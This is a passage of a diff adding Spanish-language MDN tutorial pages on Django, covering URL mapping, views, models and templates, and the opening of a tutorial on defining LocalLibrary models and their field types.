+<p>En un sitio web tradicional basado en datos, una aplicación web espera peticiones HTTP del explorador web (o de otro cliente). Cuando se recibe una petición la aplicación elabora lo que se necesita basándose en la URL y posiblemente en la información incluida en los datos <code>POST</code> o <code>GET</code>. Dependiendo de qué se necesita quizás pueda entonces leer o escribir información desde una base de datos o realizar otras tareas requeridas para satisfacer la petición. La aplicación devolverá a continuación una respuesta al explorador web, con frecuencia creando dinámicamente una página HTML para que el explorador la presente insertando los datos recuperados en marcadores de posición dentro de una plantilla HTML.</p>
+
+<p>Las aplicaciones web de Django normalmente agrupan el código que gestiona cada uno de estos pasos en ficheros separados:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13931/basic-django.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<ul>
+ <li><strong>URLs: </strong>Aunque es posible procesar peticiones de cada URL individual vía una función individual, es mucho más sostenible escribir una función de visualización separada para cada recurso. Se usa un mapeador URL para redirigir las peticiones HTTP a la vista apropiada basándose en la URL de la petición. El mapeador URL se usa para redirigir las peticiones HTTP a la vista apropiada basándose en la URL de la petición. El mapeador URL puede también emparejar patrones de cadenas o dígitos específicos que aparecen en una URL y los pasan a la función de visualización como datos.</li>
+ <li><strong>Vista (View):</strong> Una vista es una función de gestión de peticiones que recibe peticiones HTTP y devuelve respuestas HTTP. Las vistas acceden a los datos que necesitan para satisfacer las peticiones por medio de <em>modelos</em>, y delegan el formateo de la respuesta a las <em>plantillas</em> (<em>"templates"</em>).</li>
+ <li><strong>Modelos (Models):</strong> Los Modelos son objetos de Python que definen la estructura de los datos de una aplicación y proporcionan mecanismos para gestionar (añadir, modificar y borrar) y consultar registros en la base de datos.</li>
+ <li><strong>Plantillas (Templates):</strong> una plantilla (template) es un fichero de texto que define la estructura o diagrama de otro fichero (tal como una página HTML), con marcadores de posición que se utilizan para representar el contenido real. Una <em>vista</em> puede crear dinámicamente una página usando una plantilla, rellenandola con datos de un <em>modelo</em>. Una plantilla se puede usar para definir la estructura de cualquier tipo de fichero; ¡no tiene porqué ser HTML!</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Django se refiere a este tipo de organización como arquitectura Modelo Vista Plantilla "Model View Template (MVT)". Tiene muchas similaridades con la arquitectura más familiar <a href="/en-US/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">Model View Controller</a>. </p>
+</div>
+
+<ul>
+</ul>
+
+<p>Las secciones de más abajo te darán una idea de la pinta que tienen estas partes principales de una aplicación Django (entraremos en más detalles más adelante en el curso, una vez que hallamos configurado un entorno de desarrollo).</p>
+
+<h3 id="Enviar_la_petición_a_la_vista_correcta_urls.py">Enviar la petición a la vista correcta (urls.py)</h3>
+
+<p>Un mapeador URL está normalmente almacenado en un fichero llamado <strong>urls.py</strong>. En el ejemplo más abajo el mapeador (<code>urlpatterns</code>) define una lista de mapeos entre <em>patrones</em> URL específicos y sus correspondientes funciones de visualización. Si se recibe una Petición HTTP que tiene una URL que empareja un patrón específico (ej. <code>r'^$'</code>, más abajo) se realizará una llamada y se pasará la petición a la función de visualización asociada (ej.  <code>views.index</code>).</p>
+
+<pre>urlpatterns = [
+    <strong>url(r'^$', views.index),</strong>
+    url(r'^([0-9]+)/$', views.best),
+]
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Un poco de Python:</p>
+
+<ul>
+ <li>El objeto <code>urlpatterns</code> es una lista de funciones <code>url()</code>. En Python, las listas se definen usando using corchetes. Los elementos se separan con comas y pueden tener una <a href="https://docs.python.org/2/faq/design.html#why-does-python-allow-commas-at-the-end-of-lists-and-tuples">coma colgante opcional</a>. Por ejemplo: <code>[item1, item2, item3,]</code>.</li>
+ <li>La extraña sintaxis de los patrones se conoce como <em>"expresión regular"</em>. ¡Hablaremos sobre ellas en un artículo posterior!.</li>
+ <li>El segundo argumento de <code>url()</code> es otra función a la que se llamará cuando se encuentre un patrón que coincida. La notación <code>views.index</code> indica que la función se llama <code>index()</code> y se puede encontrar en un módulo llamado <code>views</code> (es decir, dentro del fichero llamado <code>views.py</code>).</li>
+</ul>
+</div>
+
+<h3 id="Manejar_la_petición_views.py">Manejar la petición (views.py)</h3>
+
+<p>Las vistas son el corazón de la aplicación web, recibiendo peticiones HTTP de los clientes web y devolviendo respuestas HTTP. Entre éstas, organizan los otros recursos del framework para acceder a las bases de datos, consolidar plantillas, etc.</p>
+
+<p>El ejemplo más abajo muestra una mínima función de visualización <code>index()</code>, que podría ser llamada por nuestro mapeador de URL de la sección anterior. Al igual que todas las funciones de visualización, recibe un objeto <code>HttpRequest</code> como parámetro (<code>request</code>) y devuelve un objeto <code>HttpResponse</code>. En este caso no hacemos nada con la petición y nuestra respuesta simplemente devuelve una cadena insertada de forma fija en el código. Te mostraremos una petición que hace algo más interesante en la siguiente sección.</p>
+
+<pre class="brush: python">## fichero: views.py (funciones de visualizacion de Django)
+from django.http import HttpResponse
+
+def index(request):
+    # Obtener un HttpRequest - el parametro peticion
+    # Realizar operaciones usando la infomracion de la peticion.
+    # Devolver una HttpResponse
+    return HttpResponse('!Hola desde Django!')
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Un poco de Python:</p>
+
+<ul>
+ <li><a href="https://docs.python.org/3/tutorial/modules.html">Módulos Python</a> son "bibliotecas" de funciones, almacenadas en ficheros separados, que podríamos querer usar en nuestro código. Aquí importamos sólo el objeto <code>HttpResponse</code> desde el módulo  <code>django.http</code> de manera que podamos usarlo en nuestra vista: <code>from django.http import HttpResponse</code>. Hay también otras formas de importar algunos o todos los objetos de un módulo.</li>
+ <li>Las funciones se declaran usando la plabra clave <code>def</code> tal como se muestra arriba, con parámetros con nombre listados entre paréntesis después del nombre de la función; la línea entera termina con dos puntos. Fíjate como las líneas siguientes están todas ellas <strong>indentadas</strong>. La indentación es importante, ya que especifica que las líneas de código están dentro de ese bloque en particular (la indentación obligatoria es una característica clave de Python, y es una razón por la que el código de Python es tan fácil de leer.</li>
+</ul>
+</div>
+
+<ul>
+</ul>
+
+<p>Las vistas se almacenan normalmente en un fichero llamado <strong>views.py</strong>.</p>
+
+<h3 id="Definir_modelos_de_datos_models.py">Definir modelos de datos (models.py)</h3>
+
+<p>Las aplicaciones web Django manejan y consultan datos a través de objetos Python referidos como modelos. Los modelos definen la estructura de los datos almacenados, incluyendo los <em>tipos</em> de campos y posiblemente también su tamaño máximo, los valores por defecto, la lista de selección de opciones, texto de ayuda para documentación, etiquetas de texto para formularios, etc. La definición del modelo es independiente de la base de datos subyacente — puedes elegir una entre varias como parte de la configuración de tu proyecto. Una vez que has seleccionado qué base de datos quieres usar, no necesitas en absoluto comunicarte con ella directamente — sólo hay que escribir la estructura de la base y otro código y Django se encarga por tí de todo el trabajo sucio de comunicarse con la base de datos.</p>
+
+<p>El fragmento de código de más abajo muestra un modelo de Django muy simple para un objeto <code>Team</code>. La clase <code>Team</code> deriva de la clase de django <code>models.Model</code>. Define el nombre de un equipo y su nivel como campos de tipo carácter y especifica un número máximo de caracteres que pueden ser almacenados en cada registro. El <code>team_level</code> puede ser un valor de entre varios, de manera que lo definimos como un campo de opciones y proporcionamos un mapeo entre opciones para mostrar y datos para almacenar, junto con un valor por defecto.</p>
+
+<pre class="brush: python"># filename: models.py
+
+from django.db import models
+
+class Team(models.Model):
+    team_name = models.CharField(max_length=40)
+
+    TEAM_LEVELS = (
+        ('U09', 'Under 09s'),
+        ('U10', 'Under 10s'),
+        ('U11', 'Under 11s'),
+        ...  #list other team levels
+    )
+    team_level = models.CharField(max_length=3,choices=TEAM_LEVELS,default='U11')
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Un poco de Python:</p>
+
+<ul>
+ <li>Python soporta "programación orientada a objetos", un estilo de programación donde organizamos nuestro código en objetos, que incluyen datos relacionados y funciones para operar con los datos. Los objetos también pueden heredarse/extenderse/derivarse de otros objetos, permitiendo que se comparta un comportamiento común entre objetos relacionados. En Python usamos la palabra clave <code>class</code> para definir el "prototipo" de un objeto. Podemos crear múltiples <em>instancias</em> específicas de ese tipo de objeto basado en el modelo especificado en la clase.<br>
+  Así por ejemplo, aquí tenemos una clase <code>Team</code>, que deriva de la clase <code>Model</code>. Esto significa que es un modelo y que contendrá los métodos de un modelo, pero también podemos darle características especializadas propias. En nuestro modelo definimos los campos de nuestra base que necesitaremos para almacenar nuestros datos, dándoles nombres específicos. Django usa estas definiciones, incluídos los nombres de los campos para crear la base subyacente.</li>
+</ul>
+</div>
+
+<h3 id="Consultar_datos_views.py">Consultar datos (views.py)</h3>
+
+<p>El modelo de Django proporciona una API de consulta simple para buscar en la base de datos. Esta puede buscar concidencias contra varios campos al mismo tiempo usando diferentes criterios (ej. exacto, insensible a las mayúsculas, mayor que, etc.), y puede soportar sentencias complejas (por ejemplo, puedes especificar que se busque equipos U11 que tengan un nombre de equipo que empiece por "Fr" o termine con "al").</p>
+
+<p>El fragmento de código de más abajo muestra una función de visualización (manejador de recursos) para presentar en pantalla todos nuestros equipos U09. La línea en negrilla muestra como podemos usar la API de consulta del modelo para filtrar todos los registros donde el campo <code>team_level</code> tenga exactamente el texto 'U09' (fíjate como este criterio se pasa como argumento a la función<code> filter()</code> con el nombre del campo y tipo de coincidencia separados por un doble guion bajo: <strong>team_level__exact</strong>).</p>
+
+<pre class="brush: python">## filename: views.py
+
+from django.shortcuts import render
+from .models import Team
+
+def index(request):
+    <strong>list_teams = Team.objects.filter(team_level__exact="U09")</strong>
+    context = {'youngest_teams': list_teams}
+    return render(request, '/best/index.html', context)
+</pre>
+
+<dl>
+</dl>
+
+<p>Esta función utiliza la función <code>render()</code> para crear la <code>HttpResponse</code> que se envía de vuelta al explorador. Esta función es un <em>atajo</em>; crea un fichero HTML mediante la combinación de una plantilla HTML específica y algunos datos para insertar en ella (proporcionados en la variable "<code>context</code>"). En la siguiente sección mostramos como la plantilla tiene los datos insertados en ella para crear el HTML.</p>
+
+<h3 id="Renderización_de_los_datos_plantillas_HTML">Renderización de los datos (plantillas HTML)</h3>
+
+<p>Los sistemas de plantillas permiten especificar la estructura de un documento de salida usando marcadores de posición para los datos que serán rellenados cuando se genere la página. Las plantillas se usan con frecuencia para crear HTML, también pueden crear otros tipos de documentos. Django soporta de fábrica tanto su sistema de plantillas nativo como otra biblioteca Python popular llamada <strong>Jinja2</strong> (y se puede hacer que soporte otros sistemas si hace falta).</p>
+
+<p>El fragmento de código de más abajo muestra el aspecto que podría tener la plantilla HTML llamada por la función <code>render()</code> de la sección anterior. Esta plantilla ha sido escrita bajo la suposición de que cuando sea renderizada tendrá acceso a una variable tipo lista llamada <code>youngest_teams</code> (contenida en la variable <code>context</code> dentro de la función <code>render()</code> de más arriba). Dentro del esqueleto HTML tenemos una expresión que primero comprueba que existe la variable <code>youngest_teams</code>, y luego itera sobre ella en un bucle <code>for</code>. En cada iteración la plantilla presenta cada valor del campo <code>team_name</code> del equipo en un elemento {{htmlelement("li")}}.</p>
+
+<pre class="brush: python">## filename: best/templates/best/index.html
+
+&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;body&gt;
+
+ {% if youngest_teams %}
+    &lt;ul&gt;
+    {% for team in youngest_teams %}
+        &lt;li&gt;\{\{ team.team_name \}\}&lt;/li&gt;
+    {% endfor %}
+    &lt;/ul&gt;
+{% else %}
+    &lt;p&gt;No teams are available.&lt;/p&gt;
+{% endif %}
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="¿Qué_más_puedes_hacer">¿Qué más puedes hacer?</h2>
+
+<p>Las secciones prededentes muestran las principales características que usarás en casi todas las aplicaciones web: mapeo de URLs, vistas, modelos y plantillas. Sólo unas pocas de las otras cosas que Django proporciona y que incluyen:</p>
+
+<ul>
+ <li><strong>Formularios</strong>: Los formularios HTML se usan para recolectar datos de los usuarios para su procesamiento en el servidor. Django simplifica la creación, validación y procesamiento de los formularios.</li>
+ <li><strong>Autenticación y permisos de los usuarios</strong>: Django incluye un sistema robusto de autenticación y permisos que ha sido construido con la seguridad en mente.</li>
+ <li><strong>Cacheo</strong>: La creación dinámica de contenido es mucho más intensiva computacionalmente (y lenta) que un servico de contenido estático. Django proporciona un cacheo flexible de forma que puedes almacenar todo o parte de una página renderizada para que no sea re-renderizada nada más que cuando sea necesario.</li>
+ <li><strong>Sitio de Administracion</strong>: el sitio de administración de Django está incluido por defecto cuando creas una app usando el esqueleto básico. Esto hace que sea trivialmente fácil proporcionar una página de adminsitración para que los administradores puedan crear, editar y visualizar cualquiera de los modelos de datos de su sitio.</li>
+ <li><strong>Serialización de datos</strong>: Django hace fácil el serializar y servir tus datos como XML o JSON. Esto puede ser útil cuando se está creando un servicio web (un sitio web que sólo sirve datos para ser consumidos por otras aplicaciones o sitios, y que no presenta en pantalla nada por sí mismo), o cuando se crea un sitio web en el que el código del lado cliente maneja toda la renderización de los datos.</li>
+</ul>
+
+<h2 id="Sumario">Sumario</h2>
+
+<p>¡Felicidades, has completado el primer paso en tu viaje por Django! Deberías ahora ser consciente de los principales beneficios de Django, algo de su historia y a groso modo la pinta que tienen cada una de las partes principales de una de sus apps. Deberías también haber aprendido unas pocas cosas acerca del lenguaje de programación Python, incluyendo la sintaxis para las listas, funciones y clases.</p>
+
+<p>Has visto ya algo de código real de Django más arriba, pero a diferencia del código de lado cliente, necesitas configurar un entorno de desarrollo para hacerlo funcionar. Ese será nuestro siguiente paso.</p>
+
+<div>{{NextMenu("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django")}}
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Introducci%C3%B3n">Introducción a Django</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/development_environment">Puesta en marcha de un entorno de desarrollo de Django</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: Sitio web "Biblioteca Local"</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creación del esqueleto de un sitio web</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Uso de modelos</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de Administración de Django</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creación de tu página de inicio</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación y permisos de Usuario</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajo con formularios</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web Django</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Desplegando Django a producción</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/web_application_security">Seguridad de las aplicaciones web Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
+</div>
diff --git a/files/es/learn/server-side/django/models/index.html b/files/es/learn/server-side/django/models/index.html
new file mode 100644
index 0000000000..95b6c670ea
--- /dev/null
+++ b/files/es/learn/server-side/django/models/index.html
@@ -0,0 +1,490 @@
+---
+title: 'Tutorial Django Parte 3: Uso de modelos'
+slug: Learn/Server-side/Django/Models
+tags:
+  - Aprender
+  - Artículo
+  - Datos
+  - Modelo
+  - Principiante
+  - Tutorial
+  - django
+  - lado-servidor
+translation_of: Learn/Server-side/Django/Models
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">Este artículo muestra cómo definir modelos para el sitio web de la <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">BibliotecaLocal</a>. En él se explica lo que es un modelo, cómo se declara, y cuáles son algunos de los principales tipos de campos de un modelo. También veremos, brevemente, cuáles son algunas de las maneras en que puede accederse a los datos del modelo.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Pre-requisitos:</th>
+   <td><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial Django Parte 2: Creación del esqueleto del sitio web</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>
+    <p>Ser capaz de diseñar y crear tus propios modelos, eligiendo de forma apropiada los campos.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Visión_general">Visión general</h2>
+
+<p>Las aplicaciones web de Django acceden y administran los datos a través de objetos de Python a los que se hace referencia como modelos. Los modelos definen la<em> estructura</em> de los datos almacenados, incluidos los <em>tipos</em> de campo y los atributos de cada campo, como su tamaño máximo, valores predeterminados, lista de selección de opciones, texto de ayuda para la documentación, texto de etiqueta para formularios, etc. La definición del modelo es independiente de la base de datos subyacente. puede elegir una de entre varias como parte de la configuración de su proyecto. Una vez que haya elegido la base de datos que desea usar, no necesita hablar directamente con ella. Simplemente escriba la estructura de su modelo y algo de código, y Django se encargará de todo el trabajo sucio, al comunicarse con la base de datos por usted.</p>
+
+<p>Este tutorial muestra cómo definir y acceder a los modelos para el ejemplo del <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">sitio web LocalLibrary</a>.</p>
+
+<h2 id="Diseñando_los_modelos_de_LocalLibrary">Diseñando los modelos de LocalLibrary</h2>
+
+<p>Antes de dar el salto y comenzar a codificar los modelos, vale la pena tomarse unos minutos para pensar qué datos necesitamos almacenar y cuáles serán las relaciones entre los diferentes objetos.</p>
+
+<p>Sabemos que tenemos que almacenar información sobre libros (título, resumen, autor, idioma escrito, categoría, ISBN) y que podríamos tener varias copias disponibles (con id único global, estado de disponibilidad, etc.). Es posible que necesitemos almacenar más información sobre el autor que solo su nombre, y puede haber varios autores con el mismo nombre o nombres similares. Queremos poder ordenar la información según el título del libro, el autor, el idioma escrito y la categoría.</p>
+
+<p>Al diseñar sus modelos, tiene sentido tener modelos separados para cada "objeto" (grupo de información relacionada). En este caso, los objetos obvios son libros, instancias de libros y autores.</p>
+
+<p>También es posible que desee utilizar modelos para representar las opciones de la lista de selección (por ejemplo, como una lista desplegable de opciones), en lugar de codificar las opciones en el sitio web en sí; esto se recomienda cuando no se conocen de antemano todas las opciones posibles o éstas están sujetas a cambios. Los candidatos obvios para las modelos, en este caso, incluyen el género del libro (por ejemplo, ciencia ficción, poesía francesa, etc.) y el idioma (inglés, francés, japonés).</p>
+
+<p>Una vez que hayamos decidido cuáles serán nuestros modelos y sus campos, debemos pensar en la relación que existe entre ellos. Django le permite definir relaciones de uno a uno (<span style='font-family: "Courier New";'>OneToOneField</span>), de uno a muchos (<span style='font-family: "Courier New";'>ForeignKey</span>) y de muchos a muchos (<span style='font-family: "Courier New";'>ManyToManyField</span>).</p>
+
+<p>Con esto en mente, el diagrama de asociación UML a continuación muestra los modelos que definiremos en este caso (como recuadros). Como se mencionó anteriormente, hemos creado modelos para el libro (los detalles genéricos del libro), instancia del libro (estado de copias físicas específicas del libro disponible en el sistema) y autor. También hemos decidido tener un modelo para el género, para que los valores se puedan crear/seleccionar a través de la interfaz admin. Hemos decidido no tener un modelo para el <span style='font-family: "Courier New";'>BookInstance:status</span>, en su lugar, hemos especificado directamente, en el código, los valores (<span style='font-family: "Courier New";'>LOAN_STATUS</span>) porque no esperamos que cambien. Dentro de cada uno de los cuadros, puede ver el nombre del modelo, los nombres y tipos de campo, y también los métodos y sus tipos de devolución.</p>
+
+<p>El diagrama también muestra las relaciones entre los modelos, incluida su <em>cardinalidad</em>. La cardinalidad expresa la cantidad de instancias (máximo y mínimo) de cada modelo que pueden estar presentes en la relación. Por ejemplo, la línea de conexión entre los cuadros muestra que <em>Book</em> y <em>Genre</em> están relacionados. Los números cercanos al modelo <em>Book</em> muestran que un libro debe tener uno o más <em>Genres</em> (tantos como desee), mientras que los números al otro lado de la línea al lado de <em>Genre</em> muestran que puede tener cero o más libros asociados.</p>
+
+<p><img alt="LocalLibrary Model UML" src="https://mdn.mozillademos.org/files/15646/local_library_model_uml.png" style="height: 660px; width: 977px;"></p>
+
+<div class="note">
+<p><strong>Nota</strong>: La siguiente sección proporciona un manual básico que explica cómo se definen y utilizan los modelos. Mientras lo lees, considera cómo construiremos cada uno de los modelos en el diagrama de arriba.</p>
+</div>
+
+<h2 id="Cartilla_del_Modelo">Cartilla del Modelo</h2>
+
+<p>Esta sección provee una vista resumida de cómo se define un modelo y algunos de los campos más importantes y argumentos de campo. </p>
+
+<h3 id="Definición_de_modelo">Definición de modelo</h3>
+
+<p>Los modelos están definidos, normalmente, en el archivo <strong>models.py</strong> de la aplicación. Son implementados como subclases de <code>django.db.models.Model</code>, y pueden incluir campos, métodos y metadata. El fragmento de código más abajo muestra un modelo "típico", llamado <code>MyModelName</code>:</p>
+
+<pre class="notranslate">from django.db import models
+
+class MyModelName(models.Model):
+    """
+    Una clase típica definiendo un modelo, derivado desde la clase Model.
+    """
+
+    # Campos
+    my_field_name = models.CharField(max_length=20, help_text="Enter field documentation")
+    ...
+
+    # Metadata
+    class Meta:
+        ordering = ["-my_field_name"]
+
+    # Métodos
+    def get_absolute_url(self):
+         """
+         Devuelve la url para acceder a una instancia particular de MyModelName.
+         """
+         return reverse('model-detail-view', args=[str(self.id)])
+
+    def __str__(self):
+        """
+        Cadena para representar el objeto MyModelName (en el sitio de Admin, etc.)
+        """
+        return self.field_name</pre>
+
+<p>En las secciones de abajo exploraremos cada una de las características interiores de un modelo en detalle:</p>
+
+<h4 id="Campos">Campos</h4>
+
+<p>Un modelo puede tener un número arbitrario de campos, de cualquier tipo. Cada uno representa una columna de datos que queremos guardar en nuestras tablas de la base de datos. Cada registro de la base de datos (fila) consistirá en uno de cada posible valor del campo. Echemos un vistazo al ejemplo visto arriba:</p>
+
+<pre class="brush: js notranslate">my_field_name = models.CharField(max_length=20, help_text="Enter field documentation")</pre>
+
+<p>Nuestro ejemplo de arriba tiene un único campo llamado <code>my_field_name</code>, de tipo <code>models.CharField</code> — lo que significa que este campo contendrá una cadena de caracteres alfanuméricos. Los tipos de campo son asignados usando clases específicas, que determinan el tipo de registro que se usa para guardar el dato en la base, junto con un criterio de evaluación que se usará cuando se reciban los valores de un formulario HTML (es decir, qué constituye un valor válido). Los tipos de campo pueden también tomar argumentos que especifican además cómo se guarda o cómo se puede usar. En este caso le damos a nuestro campo dos argumentos:</p>
+
+<ul>
+ <li><code>max_length=20</code> — Establece que la longitud máxima del valor de este campo es 20 caracteres.</li>
+ <li><code>help_text="Enter field documentation"</code> — proporciona una etiqueta de texto para mostrar que ayuda a los usuarios a saber qué valor proporcionar cuando un usuario ha de introducirlo via un formulario HTML.</li>
+</ul>
+
+<p>El nombre del campo se usa para referirnos a él en consultas (<em>queries</em>) y plantillas (<em>templates</em>). Los campos también tienen una etiqueta, que puede ser especificada como argumento (<code>verbose_name</code>) o inferida automáticamente, a partir del nombre de variable que identifica al campo, capitalizando la primera letra y reemplazando los guiones bajos por espacios (por ejemplo <code>my_field_name</code> tendría la etiqueta por defecto de <em>My field name</em>). El orden en que los campos son declarados afectará su orden por defecto si un modelo es renderizado en un formulario (ej. en el sitio de Administración), aunque este comportamiento se puede anular.</p>
+
+<h5 id="Argumentos_comunes_de_los_campos">Argumentos comunes de los campos</h5>
+
+<p>Los siguientes argumentos son comunes a la mayoría de los tipos de campo y pueden usarse al declararlos:</p>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#help-text">help_text</a>: Proporciona una etiqueta de texto para formularios HTML (ej. en el sitio de Administración), tal como se describe arriba.</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#verbose-name">verbose_name</a>: Nombre de fácil lectura que se usa en etiquetas para el campo. Si no se especifica, Django inferirá el valor por defecto del verbose name a partir del nombre del campo.</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#default">default</a>: Valor por defecto para el campo. Puede ser un valor o un <em>callable object</em> (objeto que puede ser llamado como una función), en cuyo caso el objeto será llamado cada vez que se cree un nuevo registro.</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#null">null</a>: Si es <code>True</code>, Django guardará valores en blanco o vacíos como <code>NULL</code> en la base de datos para campos donde sea apropiado (un <code>CharField</code> guardará una cadena vacía en su lugar). Por defecto es <code>False</code>.</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#blank">blank</a>: Si es <code>True</code>, se permite que el campo quede en blanco en tus formularios. El valor por defecto es <code>False</code>, lo que significa que la validación de formularios de Django te forzará a introducir un valor. Con frecuencia se usa con <code>null=True</code>, porque si vas a permitir valores en blanco, también querrás que la base de datos sea capaz de representarlos de forma apropiada.</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#choices">choices</a>: Un grupo de valores de selección para este campo. Si se proporciona, el widget correspondiente por defecto del formulario será una caja de selección con estos valores de selección en vez del campo de texto estándar.</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#primary-key">primary_key</a>: Si es <code>True</code>, establece el campo actual como clave primaria para el modelo (Una clave primaria es una columna especial de la base de datos, diseñada para identificar de forma única todos los diferentes registros de una tabla). Si no se especifica ningún campo como clave primaria, Django añadirá automáticamente un campo para este propósito.</li>
+</ul>
+
+<p>Hay muchas otras opciones — puedes ver la <a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#field-options">lista completa de opciones aquí</a>.</p>
+
+<h5 id="Tipos_comunes_de_campos">Tipos comunes de campos</h5>
+
+<p>La lista siguiente describe algunos de los tipos de campo más comunmente usados. </p>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#django.db.models.CharField">CharField</a> se usa para definir cadenas de longitud corta a media. Debes especificar la <code>max_length</code> (longitud máxima) de los datos que se guardarán.</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#django.db.models.TextField">TextField</a> se usa para cadenas de longitud grande o arbitraria. Puedes especificar una <code>max_length</code> para el campo, pero sólo se usa cuando el campo se muestra en formularios (no se fuerza al nivel de la base de datos).</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#django.db.models.IntegerField" title="django.db.models.IntegerField">IntegerField</a> es un campo para almacenar valores de números enteros y para validar los valores introducidos como enteros en los formularios.</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#datefield">DateField</a> y <a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#datetimefield">DateTimeField</a> se usan para guardar/representar fechas e información fecha/hora (como en los objetos Python <code>datetime.date</code>  y <code>datetime.datetime</code>, respectivamente). Estos campos pueden adicionalmente declarar los parámetros (mutuamente excluyentes) <code>auto_now=True</code> (para establecer el campo a la fecha actual cada vez que se guarda el modelo), <code>auto_now_add</code> (para establecer sólo la fecha cuando se crea el modelo por primera vez), y <code>default</code> (para establecer una fecha por defecto que puede ser sobreescrita por el usuario).</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#emailfield">EmailField</a> se usa para validar direcciones de correo electrónico.</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#filefield">FileField</a> e <a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#imagefield">ImageField</a> se usan para subir ficheros e imágenes respectivamente (el <code>ImageField</code> añade simplemente una validación adicional de que el fichero subido es una imagen). Éstos tienen parámetros para definir cómo y donde se guardan los ficheros subidos.</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#autofield">AutoField</a> es un tipo especial de <code>IntegerField</code> que se incrementa automáticamente. Cuando no especificas una clave primaria para tu modelo, se añade -automáticamente- una de éste tipo.</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#foreignkey">ForeignKey</a> se usa para especificar una relación uno a muchos con otro modelo de la base de datos (ej. un coche tiene un fabricante, pero un fabricante puede hacer muchos coches). El lado "uno" de la relación es el modelo que contiene la clave.</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#manytomanyfield">ManyToManyField</a> se usa para especificar una relación muchos a muchos (ej. un libro puede tener varios géneros, y cada género puede contener varios libros). En nuestra aplicación de la biblioteca usaremos ésta de forma muy similar a <code>ForeignKeys</code>, pero pueden usarse de formas más complicadas para describir las relaciones entre grupos. Éstas tienen el parámetro <code>on_delete</code> para definir que ocurre cuando un registro asociado se borra (ej. un valor de <code>models.SET_NULL</code> establecería simplemente el valor a <code>NULL</code>).</li>
+</ul>
+
+<p>Hay muchos otros tipos de campos, incluyendo campos para diferentes tipos de números (enteros grandes, enteros pequeños, en coma flotante), boleanos, URLs, slugs, identificadores únicos, y otra información relacionada con el tiempo (duración, hora, etc..). Puedes ver la <a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#field-types">lista completa aquí</a>.</p>
+
+<h4 id="Metadatos">Metadatos</h4>
